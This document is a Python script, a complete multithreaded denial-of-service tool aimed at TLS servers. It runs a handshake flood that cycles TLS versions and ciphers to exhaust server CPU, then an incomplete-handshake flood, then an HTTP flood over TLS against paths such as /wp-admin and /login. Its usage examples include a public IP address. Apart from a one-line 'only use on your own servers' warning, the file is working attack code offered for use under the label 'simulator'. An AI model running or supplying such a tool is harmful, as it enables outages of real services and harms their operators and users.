#!/usr/bin/env python3
"""
TLS/SSL Handshake Attack Simulator - Targets HTTPS/SSL handshake CPU exhaustion
Usage: python3 tls_attack.py <ip_address> [port] [duration] [threads]
"""

import ssl
import socket
import threading
import time
import sys
import random
from concurrent.futures import ThreadPoolExecutor

class TLSHandshakeAttack:
    def __init__(self, target_ip, target_port=443):
        self.target_ip = target_ip
        self.target_port = target_port
        self.attempts = 0
        self.successful_handshakes = 0
        self.failed_handshakes = 0
        self.start_time = None
        
        # Various TLS versions and ciphers to try
        self.tls_versions = [
            ssl.PROTOCOL_TLSv1_2,
            ssl.PROTOCOL_TLSv1_1,
            ssl.PROTOCOL_TLSv1,
            ssl.PROTOCOL_TLS,
        ]
        
        self.cipher_suites = [
            'ECDHE-RSA-AES256-GCM-SHA384',
            'ECDHE-RSA-AES128-GCM-SHA256',
            'AES256-GCM-SHA384',
            'AES128-GCM-SHA256',
            'ECDHE-RSA-AES256-SHA384',
            'ECDHE-RSA-AES128-SHA256',
            'AES256-SHA256',
            'AES128-SHA256',
            'ECDHE-RSA-AES256-SHA',
            'ECDHE-RSA-AES128-SHA',
            'AES256-SHA',
            'AES128-SHA',
        ]

    def create_ssl_context(self, version=None, cipher=None):
        """Create SSL context with specific version and cipher"""
        context = ssl.create_default_context()
        
        if version:
            context = ssl.SSLContext(version)
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
        
        if cipher and hasattr(context, 'set_ciphers'):
            try:
                context.set_ciphers(cipher)
            except:
                pass
        
        return context

    def tls_handshake_attack(self, duration=30, max_threads=200):
        """Heavy TLS handshake attack - targets server CPU"""
        print(f"💀 TLS HANDSHAKE CPU ATTACK")
        print(f"🎯 Target: {self.target_ip}:{self.target_port}")
        print(f"⏰ Duration: {duration}s | 🧵 Threads: {max_threads}")
        print("=" * 60)
        
        self.attempts = 0
        self.successful_handshakes = 0
        self.failed_handshakes = 0
        self.start_time = time.time()
        self.stop_flag = threading.Event()
        
        def tls_attacker(thread_id):
            while not self.stop_flag.is_set():
                try:
                    # Create raw socket
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(5)
                    
                    # Connect to target
                    sock.connect((self.target_ip, self.target_port))
                    
                    # Wrap with SSL - this is where CPU load happens
                    ssl_context = self.create_ssl_context(
                        random.choice(self.tls_versions),
                        random.choice(self.cipher_suites)
                    )
                    
                    ssl_sock = ssl_context.wrap_socket(
                        sock, 
                        server_hostname=self.target_ip,
                        do_handshake_on_connect=True
                    )
                    
                    # Handshake successful
                    self.successful_handshakes += 1
                    
                    # Keep connection open briefly to consume resources
                    time.sleep(random.uniform(0.1, 0.5))
                    
                    # Close connection
                    ssl_sock.close()
                    
                except ssl.SSLError as e:
                    # SSL handshake failed - but still consumed server CPU!
                    self.failed_handshakes += 1
                except (socket.timeout, ConnectionRefusedError, ConnectionResetError) as e:
                    self.failed_handshakes += 1
                except Exception as e:
                    self.failed_handshakes += 1
                finally:
                    self.attempts += 1
        
        # Start attack threads
        threads = []
        for i in range(max_threads):
            t = threading.Thread(target=tls_attacker, args=(i,))
            t.daemon = True
            threads.append(t)
            t.start()
        
        # Progress monitoring
        while time.time() - self.start_time < duration:
            elapsed = time.time() - self.start_time
            total_handshakes = self.successful_handshakes + self.failed_handshakes
            handshakes_per_sec = total_handshakes / elapsed if elapsed > 0 else 0
            
            print(f"\r⏰ {elapsed:.1f}s | 🤝 {total_handshakes} handshakes | 📈 {handshakes_per_sec:.1f}/sec | ✅ {self.successful_handshakes} success | ❌ {self.failed_handshakes} failed", end="")
            time.sleep(0.5)
        
        self.stop_flag.set()
        time.sleep(2)
        self.print_final_stats()

    def incomplete_handshake_attack(self, duration=25, max_threads=150):
        """Attack with incomplete TLS handshakes - maximum CPU load"""
        print(f"\n🚫 INCOMPLETE TLS HANDSHAKE ATTACK")
        print(f"🎯 Target: {self.target_ip}:{self.target_port}")
        print(f"⏰ Duration: {duration}s | 🧵 Threads: {max_threads}")
        print("=" * 60)
        
        self.attempts = 0
        self.start_time = time.time()
        self.stop_flag = threading.Event()
        
        def incomplete_attacker(thread_id):
            while not self.stop_flag.is_set():
                try:
                    # Create socket and connect
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(3)
                    sock.connect((self.target_ip, self.target_port))
                    
                    # Start SSL but don't complete handshake
                    ssl_context = ssl.create_default_context()
                    ssl_context.check_hostname = False
                    ssl_context.verify_mode = ssl.CERT_NONE
                    
                    ssl_sock = ssl_context.wrap_socket(
                        sock, 
                        server_hostname=self.target_ip,
                        do_handshake_on_connect=False  # Don't complete handshake
                    )
                    
                    # Send some data but don't complete handshake
                    ssl_sock.send(b'GET / HTTP/1.1\r\n')
                    time.sleep(0.2)
                    
                    # Close without proper handshake completion
                    ssl_sock.close()
                    
                except:
                    pass  # Expected to fail
                finally:
                    self.attempts += 1
        
        # Start attackers
        threads = []
        for i in range(max_threads):
            t = threading.Thread(target=incomplete_attacker, args=(i,))
            t.daemon = True
            threads.append(t)
            t.start()
        
        # Monitor
        while time.time() - self.start_time < duration:
            elapsed = time.time() - self.start_time
            attempts_per_sec = self.attempts / elapsed if elapsed > 0 else 0
            
            print(f"\r⏰ {elapsed:.1f}s | 💣 {self.attempts} incomplete handshakes | 📈 {attempts_per_sec:.1f}/sec", end="")
            time.sleep(0.5)
        
        self.stop_flag.set()
        time.sleep(1)
        self.print_simple_stats()

    def http_flood_with_tls(self, duration=20, max_threads=100):
        """HTTP flood over TLS - application layer attack"""
        print(f"\n🌊 HTTP FLOOD OVER TLS")
        print(f"🎯 Target: {self.target_ip}:{self.target_port}")
        print(f"⏰ Duration: {duration}s | 🧵 Threads: {max_threads}")
        print("=" * 60)
        
        self.attempts = 0
        self.successful_requests = 0
        self.start_time = time.time()
        self.stop_flag = threading.Event()
        
        http_requests = [
            "GET / HTTP/1.1\r\nHost: {}\r\n\r\n",
            "GET /index.html HTTP/1.1\r\nHost: {}\r\n\r\n", 
            "GET /wp-admin HTTP/1.1\r\nHost: {}\r\n\r\n",
            "POST /login HTTP/1.1\r\nHost: {}\r\nContent-Length: 0\r\n\r\n",
        ]
        
        def http_attacker(thread_id):
            while not self.stop_flag.is_set():
                try:
                    # Create SSL connection
                    context = ssl.create_default_context()
                    context.check_hostname = False
                    context.verify_mode = ssl.CERT_NONE
                    
                    with socket.create_connection((self.target_ip, self.target_port), timeout=5) as sock:
                        with context.wrap_socket(sock, server_hostname=self.target_ip) as ssock:
                            # Send HTTP request
                            request = random.choice(http_requests).format(self.target_ip)
                            ssock.send(request.encode())
                            
                            # Read partial response to consume server resources
                            response = ssock.recv(1024)
                            self.successful_requests += 1
                            
                except:
                    pass
                finally:
                    self.attempts += 1
        
        # Start HTTP flood
        threads = []
        for i in range(max_threads):
            t = threading.Thread(target=http_attacker, args=(i,))
            t.daemon = True
            threads.append(t)
            t.start()
        
        # Monitor
        while time.time() - self.start_time < duration:
            elapsed = time.time() - self.start_time
            requests_per_sec = self.attempts / elapsed if elapsed > 0 else 0
            
            print(f"\r⏰ {elapsed:.1f}s | 🌊 {self.attempts} HTTP requests | 📈 {requests_per_sec:.1f}/sec | ✅ {self.successful_requests} success", end="")
            time.sleep(0.5)
        
        self.stop_flag.set()
        time.sleep(1)
        self.print_http_stats()

    def print_final_stats(self):
        """Print final TLS attack statistics"""
        total_time = time.time() - self.start_time
        total_handshakes = self.successful_handshakes + self.failed_handshakes
        handshakes_per_sec = total_handshakes / total_time if total_time > 0 else 0
        success_rate = (self.successful_handshakes / total_handshakes * 100) if total_handshakes > 0 else 0
        
        print(f"\n" + "=" * 60)
        print(f"🎯 TLS ATTACK COMPLETE")
        print(f"⏱️  Total Time: {total_time:.1f}s")
        print(f"🤝 Total Handshakes: {total_handshakes}")
        print(f"✅ Successful: {self.successful_handshakes}")
        print(f"❌ Failed: {self.failed_handshakes}")
        print(f"📈 Handshakes/Second: {handshakes_per_sec:.1f}")
        print(f"📊 Success Rate: {success_rate:.2f}%")
        print(f"🎯 Target: {self.target_ip}:{self.target_port}")
        print("=" * 60)

    def print_simple_stats(self):
        """Print simple stats for incomplete handshakes"""
        total_time = time.time() - self.start_time
        attempts_per_sec = self.attempts / total_time if total_time > 0 else 0
        
        print(f"\n🎯 INCOMPLETE HANDSHAKE ATTACK COMPLETE")
        print(f"⏱️  Time: {total_time:.1f}s")
        print(f"💣 Attempts: {self.attempts}")
        print(f"📈 Attempts/Second: {attempts_per_sec:.1f}")

    def print_http_stats(self):
        """Print HTTP flood statistics"""
        total_time = time.time() - self.start_time
        requests_per_sec = self.attempts / total_time if total_time > 0 else 0
        success_rate = (self.successful_requests / self.attempts * 100) if self.attempts > 0 else 0
        
        print(f"\n🎯 HTTP FLOOD COMPLETE")
        print(f"⏱️  Time: {total_time:.1f}s")
        print(f"🌊 Requests: {self.attempts}")
        print(f"✅ Successful: {self.successful_requests}")
        print(f"📈 Requests/Second: {requests_per_sec:.1f}")
        print(f"📊 Success Rate: {success_rate:.2f}%")

def main():
    if len(sys.argv) < 2:
        print("💀 TLS/SSL HANDSHAKE ATTACK SIMULATOR")
        print("Usage: python3 tls_attack.py <IP_ADDRESS> [port] [duration] [threads]")
        print("\nExamples:")
        print("  python3 tls_attack.py 192.168.1.100")
        print("  python3 tls_attack.py 192.168.1.100 443 30 200")
        print("  python3 tls_attack.py 10.0.0.5 80 60 150")  # Yes, port 80 can have TLS too!
        print("  python3 tls_attack.py 43.98.161.66 443 45 250")
        sys.exit(1)
    
    # Parse command line arguments
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
    duration = int(sys.argv[3]) if len(sys.argv) > 3 else 30
    threads = int(sys.argv[4]) if len(sys.argv) > 4 else 200
    
    print("💀 STARTING TLS/SSL HANDSHAKE ATTACK")
    print("⚠️  WARNING: Only use on your own servers!")
    print("=" * 60)
    
    attacker = TLSHandshakeAttack(target_ip, target_port)
    
    try:
        # Run TLS handshake attack (most CPU intensive)
        attacker.tls_handshake_attack(duration=duration, max_threads=threads)
        
        # Run incomplete handshake attack (very heavy on server CPU)
        attacker.incomplete_handshake_attack(duration=duration//2, max_threads=threads)
        
        # Run HTTP flood over TLS
        attacker.http_flood_with_tls(duration=duration//2, max_threads=threads//2)
        
    except KeyboardInterrupt:
        print("\n\n⏹️  Attack interrupted by user")
    except Exception as e:
        print(f"\n❌ Error: {e}")

if __name__ == "__main__":
    main()